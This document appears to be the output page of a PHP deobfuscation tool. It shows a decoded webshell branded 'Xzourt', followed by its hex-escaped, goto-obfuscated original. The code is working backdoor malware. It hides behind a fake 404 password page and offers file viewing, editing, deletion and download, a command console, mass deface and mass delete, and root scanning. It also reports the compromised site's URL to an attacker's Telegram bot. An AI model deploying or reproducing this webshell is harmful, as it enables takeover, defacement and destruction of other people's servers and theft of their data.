\x9\x9\x9	<td class="text-center">type</td>
				<td class="text-center">last edit</td>\xa\x9\x9\x9	<td class="text-center">size</td>
	\x9		<td class="text-center">owner<gr>/</gr>group</td>\xa\x9		\x9<td class="text-center">permsion</td>
		\x9<td class="text-center">action</td>\xa	\x9</tr>\xa\x9	</thead>\xa\x9	<tbody class="text-nowrap">
\x9	<tr>\xa\x9		<td><i class="bi bi-folder2-open"></i><a class="text-decoration-none text-secondary" href="?path=" . dirname($dir) . "">..</a></td><td></td><td></td><td></td><td></td><td></td><td class="text-center">\xa				<div class="btn-group">
	\x9			<a class="btn btn-outline-light btn-sm" href="?filenew&path=" . $dir . ""><i class="bi bi-file-earmark-plus-fill"></i></a>\xa	\x9			<a class="btn btn-outline-light btn-sm" href="?dirnew&path=" . $dir . ""><i class="bi bi-folder-plus"></i></a>
\x9			</div>\xa\x9		</td>
\x9	</tr>"; goto d3JjR; H2vUy: $xtx = $data; goto PjodP; avrpj: ini_set("memory_limit", "64M"); goto e0M_f; GM5Lw: $pesan_alert = "[ {$x_path} ]"; goto cmezN; taJBV: $wget = exe("wget --help") ? "<gr>ON</gr>" : "<rd>OFF</rd>"; goto i4QHr; GdxU5: function w($dir, $perm) { if (!is_writable($dir)) { return "<rd>" . $perm . "</rd>"; } else { return "<gr>" . $perm . "</gr>"; } } goto d03Rs; mVBqX: @ini_set("max_execution_time", 0); goto gczsm; RkY6o: function p($file) { $p = fileperms($file); if (($p & 49152) == 49152) { $i = "s"; } elseif (($p & 40960) == 40960) { $i = "l"; } elseif (($p & 32768) == 32768) { $i = "-"; } elseif (($p & 24576) == 24576) { $i = "b"; } elseif (($p & 16384) == 16384) { $i = "d"; } elseif (($p & 8192) == 8192) { $i = "c"; } elseif (($p & 4096) == 4096) { $i = "p"; } else { $i = "u"; } $i .= $p & 256 ? "r" : "-"; $i .= $p & 128 ? "w" : "-"; $i .= $p & 64 ? $p & 2048 ? "s" : "x" : ($p & 2048 ? "S" : "-"); $i .= $p & 32 ? "r" : "-"; $i .= $p & 16 ? "w" : "-"; $i .= $p & 8 ? $p & 1024 ? "s" : "x" : ($p & 1024 ? "S" : "-"); $i .= $p & 4 ? "r" : "-"; $i .= $p & 2 ? "w" : "-"; $i .= $p & 1 ? $p & 512 ? "t" : "x" : ($p & 512 ? "T" : "-"); return $i; } goto x5wmL; wpPmE: if ($_7["action"] == "rename") { s(); echo "
\x9	<div class='btn-group'>
\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=view&opn={$file}'><i class='bi bi-eye-fill'></i></a>\xa\x9	\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=edit&opn={$file}'><i class='bi bi-pencil-square'></i></a>\xa\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename&opn={$file}'><i class='bi bi-pencil-fill'></i></a>
		\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_file&opn={$file}'><i class='bi bi-trash-fill'></i></a>
\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=download&opn={$file}'><i class='bi bi-download'></i></a>\xa	\x9</div>
		<br>
\x9		<i class='bi bi-file-earmark'></i>:&nbsp;" . basename($file) . "\xa\x9\x9</br>\xa\x9\x9<form method='POST'>
			<div class='input-group'>\xa		\x9\x9<input class='form-control btn-sm' type='text' name='new_name' value='" . basename($file) . "' {$_r}>
\x9\x9		<button class='btn btn-outline-light btn-sm' type='sumbit' name='r_f'><i class='bi bi-arrow-return-right'></i></button>
	\x9\x9</div>\xa\x9\x9</form>"; } goto UQq_F; vbV3q: $_r = "required='required'"; goto BZcMI; f20ej: @ini_set("display_errors", 0); goto Lw2_l; McQhW: $py = exe("python --help") ? "<gr>ON</gr>" : "<rd>OFF</rd>"; goto JpEYZ; OcHn3: $telegram = "on"; goto a2ryI; gUvZY: if (empty($disfunc)) { $disfc = "<gr>NONE</gr>"; } else { $disfc = "<rd>{$disfunc}</rd>"; } goto viHFv; viHFv: if (!function_exists("posix_getegid")) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid["name"]; $uid = $uid["uid"]; $group = $gid["name"]; $gid = $gid["gid"]; } goto XqpqE; qKf4D: echo "
		<div class='container-fluid'>\xa		\x9<div class='corner anu'>
			\x9<b data-bs-toggle='collapse' data-bs-target='#collapseExample' aria-expanded='false' aria-controls='collapseExample'><i class='bi bi-info-circle'></i> info server <i class='bi bi-chevron-down'></i></b>\xa\x9\x9\x9</div>
	\x9\x9<div class='collapse text-dark mb-3' id='collapseExample'>\xa	\x9\x9	<div class='box shadow bg-light p-3 rounded-3'>\xa	\x9	\x9System: <gr>" . php_uname() . "</gr><br>\xa		\x9	Software: <gr>" . $_SERVER["SERVER_SOFTWARE"] . "</gr><br>
\x9\x9\x9	PHP version: <gr>" . PHP_VERSION . "</gr> <a class='text-decoration-none' href='?dir={$path}&id=phpinfo'>[ PHPINFO ]</a> PHP os: <gr>" . PHP_OS . "</gr><br>
\x9\x9\x9\x9Server Ip: <gr>" . gethostbyname($_SERVER["HTTP_HOST"]) . "</gr><br>\xa\x9\x9	\x9Your Ip: <gr>" . ia() . "</gr><br>\xa			\x9User: <gr>{$user}</gr> ({$uid}) | Group: <gr>{$group}</gr> ({$gid})<br>
	\x9\x9	Safe Mode: {$sm}<br>\xa\x9\x9\x9	MySQL: {$sql} | Perl: {$pl} | Python: {$py} | WGET: {$wget} | CURL: {$curl}<br>\xa\x9\x9\x9	Disable Function:<br><pre>{$disfc}</pre>\xa\x9		\x9</div>
\x9		</div>
\x9	</div>
\x9	<div class='text-center'>
	\x9	<div class='btn-group'>\xa				<a class='btn btn-outline-light btn-sm' href='?dir={$path}&id=upload'><i class='bi bi-upload'></i> Upload</a>
	\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&id=deface'><i class='bi bi-exclamation-diamond'></i> Mass deface</a>
		\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&id=delete'><i class='bi bi-trash'></i> Mass delete</a>\xa\x9\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&id=cmd'><i class='bi bi-terminal'></i> Console</a>\xa			</div>
\x9		<div class='btn-group'>
\x9	\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&id=scan_root'><i class='bi bi-search'></i> Scan root</a>\xa		\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&id=network'><i class='bi bi-hdd-network'></i> Network</a>
\x9\x9		<a class='btn btn-outline-light btn-sm' href='?left'><i class='bi bi-box-arrow-in-left'></i> Logout</a>\xa			</div>\xa	\x9</div>"; goto KnAgU; x5wmL: if (isset($_7["dir"])) { $dir = $_7["dir"]; chdir($dir); } else { $dir = $gcw(); } goto xc3qc; UQq_F: if ($_7["action"] == "delete_file") { s(); if ($_7["yeahx"]) { $delete = unlink($file); if ($delete) { echo "<strong>Delete file</strong> ok! " . ok() . "</div>"; } else { echo "<strong>Delete file</strong> fail! " . er() . "</div>"; } } echo "
\x9\x9<div class='btn-group mb-3'>\xa		\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=view&opn={$file}'><i class='bi bi-eye-fill'></i></a>\xa\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=edit&opn={$file}'><i class='bi bi-pencil-square'></i></a>\xa			<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename&opn={$file}'><i class='bi bi-pencil-fill'></i></a>\xa	\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_file&opn={$file}'><i class='bi bi-trash-fill'></i></a>\xa	\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=download&opn={$file}'><i class='bi bi-download'></i></a>\xa\x9\x9</div>
\x9	<div class='card card-body text-dark input-group mb-3'>\xa\x9		<p>Are you sure to delete : " . basename($file) . " ?</p>
\x9	\x9<form method='POST'>
\x9	\x9	<a class='btn btn-danger btn-block btn-sm' href='?dir={$dir}'>No</a>\xa			\x9<input type='submit' name='yeahx' class='btn btn-success btn-block btn-sm' value='Yes'>\xa\x9	\x9</form>
\x9\x9</div>"; } goto LBZGy; XzF7p: if (isset($_7["left"])) { session_start(); session_destroy(); echo "<script>window.location="" . $_SERVER["PHP_SELF"] . "";</script>"; } goto HYFWh; idnUM: $inipass = "eGNoYW4xMjNA"; goto dVZti; XqpqE: $sm = @ini_get(strtolower("safe_mode")) == "on" ? "<rd>ON</rd>" : "<gr>OFF</gr>"; goto qKf4D; xIYwS: session_start(); goto VVBQf; e8qd0: $to = "[email protected]"; goto RkUOz; GGQ1Y: @ini_set("error_log", null); goto Ao2uT; wULVu: $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto fEjCS; HYFWh: if (isset($_7["opn"]) && $_7["opn"] != '' && $_7["action"] == "download") { @ob_clean(); $file = $_7["opn"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($file) . """); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); readfile($file); die; } goto GdxU5; e0M_f: header("Content-Type: text/html; charset=UTF-8"); goto e8qd0; RkUOz: $x_path = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto GM5Lw; ajmYY: function ia() { $ia = ''; if (getenv("HTTP_CLIENT_IP")) { $ia = getenv("HTTP_CLIENT_IP"); } else { if (getenv("HTTP_X_FORWARDED_FOR")) { $ia = getenv("HTTP_X_FORWARDED_FOR"); } else { if (getenv("HTTP_X_FORWARDED")) { $ia = getenv("HTTP_X_FORWARDED"); } else { if (getenv("HTTP_FORWARDED_FOR")) { $ia = getenv("HTTP_FORWARDED_FOR"); } else { if (getenv("HTTP_FORWARDED")) { $ia = getenv("HTTP_FORWARDED"); } else { if (getenv("REMOTE_ADDR")) { $ia = getenv("REMOTE_ADDR"); } else { $ia = "Unknown IP."; } } } } } } return $ia; } goto uJh3k; wciV1: if ($_7["action"] == "view") { s(); echo "
		<div class='btn-group'>\xa\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=view&opn={$file}'><i class='bi bi-eye-fill'></i></a>\xa		\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=edit&opn={$file}'><i class='bi bi-pencil-square'></i></a>\xa\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename&opn={$file}'><i class='bi bi-pencil-fill'></i></a>\xa\x9		<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_file&opn={$file}'><i class='bi bi-trash-fill'></i></a>
	\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=download&opn={$file}'><i class='bi bi-download'></i></a>\xa\x9	</div>
		<br>\xa		\x9<i class='bi bi-file-earmark'></i>:&nbsp;" . basename($file) . "
\x9\x9</br>
\x9\x9<div class='bg-dark'>\xa\x9		<div class='container-fluid language-javascript'>
\x9	\x9	<textarea rows='10' class='form-control' disabled=''>" . htmlspecialchars(file_get_contents($file)) . "</textarea>\xa		\x9</div>
		</div>"; } goto KHzp9; PUide: function er() { echo "<div class="alert alert-danger alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>"; } goto UPxMA; LBZGy: if ($_7["action"] == "delete_folder") { s(); if ($_7["yeah"]) { if (is_dir($dir)) { if (is_writable($dir)) { @rmdir($dir); @exe("rm -rf {$dir}"); @exe("rmdir /s /q {$dir}"); echo "<strong>Delete folder</strong> ok! " . ok() . "<a class="btn-close" href="?path=" . dirname($dir) . ""></a></div>"; } else { echo "<strong>Delete folder</strong> fail! " . er() . "<a class="btn-close" href="?path=" . dirname($dir) . ""></a></div>"; } } } echo "
		<div class='btn-group mb-3'>
\x9	\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename_folder'><i class='bi bi-pencil-fill'></i></a>
\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_folder'><i class='bi bi-trash-fill'></i></a>\xa		</div>\xa\x9	<div class='card card-body text-dark input-group mb-3'>
		\x9<p>Are you sure to delete : " . basename($dir) . " ?</p>
\x9	\x9<form method='POST'>
	\x9\x9\x9<a class='btn btn-danger btn-block btn-sm' href='?dir=" . dirname($dir) . "'>No</a>\xa	\x9\x9	<input type='submit' name='yeah' class='btn btn-success btn-block btn-sm' value='Yes'>\xa			</form>\xa\x9\x9</div>"; } goto sYXiW; KnAgU: if (isset($_7["dir"])) { $dir = $_7["dir"]; chdir($dir); } else { $dir = $gcw(); } goto l_7Kw; d3JjR: foreach ($scand as $dir) { $dt = date("Y-m-d G:i", filemtime("{$path}/{$dir}")); if (strlen($dir) > 25) { $_d = substr($dir, 0, 25) . "..."; } else { $_d = $dir; } if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner("{$path}/{$dir}")); $downer = $downer["name"]; } else { $downer = fileowner("{$path}/{$dir}"); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup("{$path}/{$dir}")); $dgrp = $dgrp["name"]; } else { $dgrp = filegroup("{$path}/{$dir}"); } if (!is_dir($path . "/" . $file)) { continue; } $size = filesize($path . "/" . $file) / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . " MB"; } else { $size = $size . " KB"; } if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } echo "\xa\x9	<tr>
\x9	\x9<td><i class='bi bi-folder-fill'></i><a class='text-decoration-none text-secondary' href='?dir={$path}/{$dir}'>{$_d}</a></td>\xa\x9\x9\x9<td class='text-center'>dir</td>\xa\x9	\x9<td class='text-center'>{$dt}</td>
		\x9<td class='text-center'>-</td>\xa\x9		<td class='text-center'>{$downer}<gr>/</gr>{$dgrp}</td>\xa	\x9	<td class='text-center'>"; if (is_writable($path . "/" . $dir)) { echo "<gr>"; } elseif (!is_readable($path . "/" . $dir)) { echo "<rd>"; } echo p($path . "/" . $dir); if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "</font></center></td>"; } echo "\xa	\x9\x9<td class='text-center'>\xa	\x9\x9<div class='btn-group'>
				<a class='btn btn-outline-light btn-sm' href='?dir={$path}/{$dir}&action=rename_folder'><i class='bi bi-pencil-fill'></i></a><a class='btn btn-outline-light btn-sm' href='?dir={$path}/{$dir}&action=delete_folder'><i class='bi bi-trash-fill'></i></a>
	\x9\x9</div>\xa		\x9</td>\xa		</tr>"; } goto n4wge; octvi: $sql = function_exists("mysql_connect") ? "<gr>ON</gr>" : "<rd>OFF</rd>"; goto LAdCu; U8rFL: ?> 
<div class="text-secondary"> Xzourt Webshell Company</div>

Did this file decode correctly?

Original Code



goto xIYwS; heAIF: @ini_set("\144\151\x73\160\154\141\171\x5f\x65\162\162\x6f\162\163", 0); goto qLV0I; JpEYZ: $disfunc = @ini_get("\144\151\x73\141\142\154\145\x5f\x66\165\x6e\x63\x74\x69\157\x6e\x73"); goto gUvZY; sYXiW: if (isset($_7["\x66\x69\154\x65\156\x65\167"])) { s(); if (isset($_7["\x62\x69\153\x69\x6e"])) { $name = $_7["\156\141\x6d\145\x5f\146\x69\x6c\x65"]; $contents_file = $_7["\x63\x6f\x6e\x74\x65\156\164\x73\x5f\146\151\154\145"]; foreach ($name as $name_file) { $handle = @fopen("{$name_file}", "\167"); if ($contents_file) { $create = @fwrite($handle, $contents_file); } else { $create = $handle; } } if ($create) { echo "\74\163\x63\162\151\x70\164\x3e\167\151\x6e\144\157\167\56\154\157\143\141\164\x69\x6f\156\75\47\x3f\x70\141\164\x68\x3d{$path}\x27\x3c\57\163\143\x72\x69\x70\164\x3e"; } else { echo "\74\x73\x74\162\157\x6e\147\76\103\162\x65\x61\164\x65\40\x66\x69\154\145\x3c\x2f\163\164\162\x6f\x6e\x67\76\x20\x66\x61\151\154\x21\40" . er() . "\74\57\144\x69\166\76"; } } echo "\xa\x9\11\x3c\x64\x69\166\x20\x63\x6c\x61\163\163\75\47\155\x62\x2d\63\47\x3e\12\11\x9\11\74\x66\157\x72\x6d\40\155\x65\x74\150\x6f\x64\75\47\120\117\123\x54\x27\x3e\xa\11\x9\x9\11\74\151\40\143\154\x61\x73\x73\x3d\x27\142\151\x20\x62\x69\55\x66\151\x6c\x65\55\145\141\x72\155\x61\x72\x6b\47\76\74\x2f\151\x3e\x20\x46\x69\x6c\145\156\141\x6d\145\x3a\xa\11\x9\x9\11\74\x69\x6e\160\x75\164\x20\143\154\141\163\163\75\47\146\157\x72\x6d\55\x63\x6f\156\164\162\x6f\154\40\x66\157\x72\155\x2d\143\x6f\x6e\164\x72\157\154\55\x73\x6d\47\x20\164\171\160\145\75\47\x74\145\x78\164\x27\x20\156\x61\155\x65\x3d\47\156\141\x6d\145\x5f\x66\x69\154\x65\133\135\47\40\x70\154\141\143\x65\x68\157\154\x64\x65\x72\x3d\47\146\151\154\x65\156\141\155\x65\x27\x20{$_r}\76\xa\11\x9\x9\x9\x3c\151\40\143\154\x61\163\163\x3d\47\142\151\40\x62\151\55\146\x69\154\x65\55\x65\x61\162\x6d\141\162\x6b\x27\x3e\x3c\x2f\151\76\40\x59\x6f\x75\x72\x20\x73\143\162\x69\160\x74\72\12\x9\11\x9\x9\74\x74\x65\170\164\x61\x72\145\141\x20\143\154\141\163\x73\x3d\x27\x66\x6f\x72\155\x2d\x63\x6f\x6e\x74\x72\x6f\x6c\40\x66\x6f\162\155\55\143\x6f\x6e\164\x72\x6f\154\55\x73\155\x27\40\x6e\x61\x6d\x65\x3d\x27\x63\157\x6e\164\145\x6e\164\x73\x5f\x66\151\x6c\145\47\x20\x72\157\x77\x73\x3d\x27\x37\47\x20\x70\x6c\x61\x63\145\150\x6f\x6c\x64\x65\162\x3d\47\171\x6f\x75\162\x20\x73\143\x72\151\160\x74\47\40{$_r}\76\x3c\x2f\164\x65\x78\x74\x61\162\x65\141\x3e\12\11\11\11\11\x3c\x64\x69\166\40\x63\154\x61\163\x73\75\47\144\55\x67\x72\x69\144\40\147\x61\160\55\x32\x27\x3e\12\x9\x9\x9\x9\x9\x3c\151\x6e\160\165\x74\x20\x63\154\x61\x73\163\x3d\47\x62\164\x6e\40\142\164\156\x2d\x6f\x75\164\154\x69\156\x65\55\154\x69\147\x68\x74\x20\142\164\x6e\x2d\x73\155\x27\x20\x74\171\160\145\75\x27\163\165\142\155\x69\x74\47\40\156\141\x6d\145\x3d\47\x62\151\153\x69\156\47\x20\166\141\x6c\x75\x65\x3d\x27\x63\162\x65\x61\x74\145\47\x3e\12\11\11\x9\11\74\57\144\151\166\x3e\12\x9\x9\11\x3c\x2f\x66\157\x72\x6d\x3e\12\11\11\74\x2f\x64\151\166\76"; } goto cBTCn; EI0T7: if (isset($_7["\162\137\146"])) { $old = $file; $new = $_7["\156\x65\167\137\156\x61\x6d\145"]; rename($new, $old); if (file_exists($new)) { echo "\x3c\x64\x69\x76\40\143\x6c\141\x73\x73\75\42\141\154\x65\162\x74\40\141\154\145\162\x74\55\x77\x61\x72\x6e\x69\x6e\x67\x20\x61\154\145\x72\164\55\x64\151\x73\x6d\151\x73\163\x69\x62\154\145\x20\x66\141\x64\145\40\x73\x68\x6f\x77\40\155\x79\x2d\x33\42\x20\x72\x6f\154\145\75\x22\141\154\145\x72\164\x22\76\xa\x9\11\11\74\x73\x74\x72\x6f\156\147\76\122\145\x6e\141\155\145\x20\x66\x69\x6c\x65\x3c\57\x73\x74\x72\157\x6e\147\x3e\40\156\x61\155\x65\40\x61\x6c\162\x65\x61\144\171\40\x69\156\x20\165\163\x65\41\40\74\x62\165\x74\164\157\156\40\164\171\160\145\x3d\42\x62\165\x74\x74\x6f\156\42\40\143\154\141\163\x73\75\42\142\164\156\x2d\143\154\x6f\x73\145\42\40\144\x61\x74\141\x2d\142\x73\x2d\144\151\x73\x6d\151\x73\x73\x3d\42\141\154\145\162\x74\42\x20\141\162\151\141\55\154\x61\x62\145\154\x3d\42\x43\154\157\x73\x65\42\76\x3c\57\142\165\x74\164\x6f\x6e\x3e\xa\11\x9\74\57\x64\151\x76\76"; } else { if (rename($old, $new)) { echo "\74\163\x74\162\157\156\x67\76\x52\x65\x6e\x61\155\145\x20\146\x69\x6c\145\x3c\57\x73\164\x72\157\x6e\x67\x3e\x20\157\153\41\40" . ok() . "\74\x2f\144\151\166\76"; } else { echo "\74\x73\164\162\x6f\x6e\147\x3e\122\145\x6e\x61\x6d\x65\40\146\151\x6c\145\x3c\x2f\x73\164\x72\157\x6e\147\x3e\40\146\x61\151\154\41\x20" . er() . "\x3c\57\x64\151\x76\x3e"; } } } goto wpPmE; a2ryI: if ($telegram == "\x6f\x6e") { $send = array("\143\150\x61\164\137\x69\144" => $chatId, "\x74\x65\170\x74" => $xtx); $web_telegram = "\x68\164\x74\160\x73\72\57\57\x61\x70\x69\56\x74\x65\154\x65\147\x72\141\155\x2e\x6f\162\147\x2f{$botUrl}"; $ch = curl_init($web_telegram . "\57\x73\145\x6e\x64\115\x65\163\x73\141\x67\145"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $send); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); curl_close($ch); } goto U8rFL; PjodP: $chatId = "\x31\x36\61\x32\x34\x32\64\x35\70\x35"; goto XPEKY; i4QHr: $pl = exe("\x70\x65\x72\x6c\x20\x2d\x2d\x68\145\154\x70") ? "\x3c\x67\162\x3e\117\116\74\x2f\x67\x72\76" : "\x3c\162\144\76\117\106\x46\x3c\x2f\x72\x64\x3e"; goto McQhW; dVZti: function Login() { ?>
<html><head><body><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><style>input{margin:0;background-color:#fff;border:1px solid #fff}</style><pre align="center"><form method="post"><input name="p"type="password"></form></pre></body></html><?php  die; } goto mpJld; lZheg: if ($_7["\141\x63\164\x69\x6f\x6e"] == "\162\x65\x6e\x61\x6d\145\137\146\157\154\144\145\x72") { if ($_7["\162\x5f\144"]) { $r_d = rename($dir, '' . dirname($dir) . "\x2f" . htmlspecialchars($_7["\162\x5f\144"]) . ''); if ($r_d) { echo "\x3c\163\164\x72\157\156\147\76\x52\x65\156\x61\155\145\x20\146\x6f\x6c\144\x65\162\74\x2f\163\x74\162\x6f\x6e\x67\76\x20\157\153\41\x20" . ok() . "\74\141\x20\143\154\x61\x73\x73\75\x22\142\164\156\55\143\x6c\157\x73\x65\42\40\x68\162\x65\x66\x3d\x22\77\x70\141\164\150\75" . dirname($dir) . "\x22\76\74\57\141\76\74\x2f\x64\151\x76\76"; } else { echo "\x3c\x73\x74\162\x6f\x6e\x67\x3e\x52\145\x6e\x61\155\145\x20\x66\157\154\144\x65\162\x3c\57\x73\164\162\157\x6e\147\76\40\146\141\151\x6c\x21\40" . er() . "\74\x61\x20\143\154\x61\x73\x73\75\x22\x62\164\156\x2d\143\x6c\x6f\163\x65\x22\x20\x68\162\145\146\75\x22\77\x70\141\x74\150\75" . dirname($dir) . "\42\x3e\x3c\57\x61\76\x3c\57\144\151\166\76"; } } s(); echo "\xa\x9\11\74\x64\x69\166\x20\x63\x6c\x61\163\163\x3d\47\142\164\x6e\x2d\147\162\157\165\x70\47\76\xa\x9\x9\11\74\141\40\143\154\x61\163\x73\75\47\x62\x74\156\40\x62\x74\156\55\x6f\x75\164\154\151\x6e\145\x2d\x6c\x69\147\150\164\x20\142\164\x6e\x2d\x73\x6d\47\40\x68\x72\145\x66\x3d\x27\x3f\144\151\162\75{$path}\x26\141\x63\x74\151\x6f\x6e\75\162\x65\156\141\x6d\x65\x5f\x66\157\x6c\x64\x65\162\x27\76\74\x69\40\x63\x6c\x61\163\163\x3d\47\x62\x69\40\x62\x69\55\x70\145\x6e\143\x69\154\55\x66\x69\154\x6c\47\76\x3c\57\x69\x3e\x3c\57\x61\76\12\11\x9\11\x3c\141\x20\x63\x6c\141\x73\x73\75\47\x62\x74\x6e\40\142\x74\156\55\157\165\x74\154\151\156\145\x2d\154\x69\x67\x68\x74\40\x62\x74\156\x2d\163\x6d\47\x20\150\x72\145\146\x3d\47\x3f\x64\151\x72\75{$path}\46\141\143\x74\x69\x6f\x6e\x3d\144\x65\154\145\x74\145\137\146\157\154\x64\x65\x72\47\76\x3c\151\x20\x63\154\x61\163\163\75\x27\142\x69\40\142\151\x2d\164\x72\x61\163\150\x2d\146\151\x6c\154\47\x3e\74\x2f\151\x3e\x3c\57\141\x3e\xa\x9\11\x3c\x2f\x64\151\166\x3e\xa\x9\x9\74\x62\162\x3e\xa\11\x9\x9\x3c\x69\40\x63\x6c\141\163\163\75\47\142\151\40\142\x69\55\x66\x6f\x6c\144\x65\162\x2d\146\x69\x6c\154\x27\x3e\74\x2f\x69\x3e\72\46\156\x62\163\x70\73" . basename($dir) . "\xa\11\11\74\x2f\x62\x72\x3e\12\x9\11\74\146\157\x72\155\40\x6d\x65\x74\x68\x6f\144\75\x27\120\117\123\124\x27\76\12\x9\x9\x9\x3c\144\x69\x76\x20\x63\154\x61\x73\163\x3d\47\151\x6e\x70\165\164\x2d\x67\162\x6f\x75\160\x27\x3e\xa\11\11\x9\x9\74\151\156\x70\x75\x74\x20\x63\154\141\163\163\x3d\x27\146\x6f\x72\155\x2d\143\157\156\x74\x72\157\154\40\x62\x74\x6e\x2d\x73\155\47\x20\164\171\x70\145\x3d\47\164\145\170\164\x27\x20\166\x61\154\165\x65\75\x27" . basename($dir) . "\x27\40\x6e\x61\155\145\75\x27\x72\137\x64\x27\x20{$_r}\x3e\12\11\11\x9\x9\74\x62\x75\x74\x74\157\x6e\40\x63\154\141\163\163\75\47\x62\x74\156\40\x62\164\x6e\x2d\157\x75\x74\154\151\x6e\145\55\154\x69\x67\150\x74\x20\142\164\x6e\55\163\x6d\47\40\164\x79\160\145\x3d\x27\x73\165\x62\155\x69\x74\47\x3e\74\x69\x20\143\154\x61\163\163\75\47\142\151\x20\x62\x69\x2d\141\x72\x72\x6f\x77\55\x72\x65\164\x75\x72\x6e\55\x72\x69\147\150\x74\47\76\x3c\57\151\76\74\57\x62\x75\164\x74\x6f\x6e\x3e\xa\x9\11\x9\74\57\x64\151\166\76\xa\x9\11\x3c\x2f\x66\x6f\162\155\76"; } goto EI0T7; N3tWO: $paths = explode("\57", $path); goto jZCJP; xc3qc: echo "\xa\x3c\150\x74\155\x6c\76\12\11\x3c\x68\x65\x61\144\x3e\xa\x9\11\74\x6d\x65\164\x61\40\x63\x68\x61\x72\x73\145\164\x3d\x27\125\124\106\55\70\47\76\xa\11\x9\74\x6d\x65\x74\x61\x20\156\141\x6d\x65\x3d\x27\141\x75\x74\x68\157\162\x27\x20\143\x6f\156\164\145\x6e\164\x3d\47\x55\156\153\156\x6f\167\156\x53\x65\x63\47\x3e\xa\11\x9\x3c\x6d\x65\x74\141\x20\156\141\155\x65\75\x27\x76\x69\145\167\x70\157\162\x74\47\x20\143\x6f\x6e\164\145\x6e\x74\x3d\x27\x77\x69\x64\164\x68\x3d\x64\x65\166\x69\143\x65\55\167\151\x64\164\150\54\x20\x69\156\151\x74\151\141\154\x2d\x73\143\141\x6c\x65\x3d\60\x2e\67\x30\x27\76\12\x9\x9\74\154\x69\x6e\x6b\40\x72\x65\x6c\75\x27\x73\164\x79\154\x65\163\150\x65\x65\x74\x27\40\150\162\x65\146\x3d\x27\x2f\x2f\x78\x6e\x78\170\x2e\x63\x6f\x2e\167\x73\57\155\145\153\x69\x2e\x63\163\163\x27\76\12\11\x9\x3c\154\151\x6e\x6b\40\x72\x65\154\x3d\x27\151\143\157\x6e\x27\x20\150\162\145\x66\x3d\x27\57\x2f\170\x6e\x78\x78\x2e\x63\157\x2e\167\163\x2f\141\156\171\141\x2e\152\160\x67\x27\x3e\12\x9\x9\x3c\x74\x69\164\154\145\76\173\40\130\172\x6f\x75\162\164\x20\x50\x72\151\166\x20\x53\150\145\154\154\40\x7d\x3c\x2f\164\151\164\x6c\145\76\xa\x9\x9\74\x73\x63\162\151\x70\x74\x20\x73\x72\143\x3d\x27\57\x2f\143\144\156\x6a\x73\x2e\x63\154\x6f\165\144\146\x6c\141\162\145\x2e\x63\157\155\x2f\141\x6a\141\170\x2f\x6c\x69\142\163\x2f\160\x72\151\x73\155\57\61\56\x36\x2e\x30\x2f\x70\162\151\x73\x6d\56\x6a\x73\47\x3e\x3c\x2f\163\x63\162\151\160\x74\76\12\x9\11\x3c\163\143\162\151\160\x74\40\163\x72\x63\75\47\x2f\57\x63\144\156\56\152\163\x64\145\x6c\x69\x76\x72\56\156\x65\x74\x2f\156\x70\155\x2f\142\157\157\x74\x73\x74\162\141\160\x40\x35\x2e\x30\56\x31\57\144\151\x73\x74\57\x6a\163\x2f\x62\157\157\x74\163\x74\x72\x61\160\56\142\x75\x6e\144\154\145\x2e\155\151\156\56\152\x73\47\76\74\x2f\163\x63\162\x69\x70\164\76\xa\x9\11\x3c\x73\143\x72\151\160\x74\40\x73\x72\x63\x3d\x27\x2f\x2f\143\157\x64\x65\56\x6a\161\165\x65\162\x79\x2e\x63\157\x6d\x2f\x6a\161\x75\145\x72\171\55\63\x2e\x33\x2e\61\56\x73\154\151\x6d\x2e\x6d\151\x6e\56\x6a\163\x27\x3e\x3c\x2f\163\143\x72\151\x70\164\x3e\xa\x9\x3c\57\150\x65\141\144\76\12\x3c\x62\x6f\144\171\40\x63\154\141\163\x73\75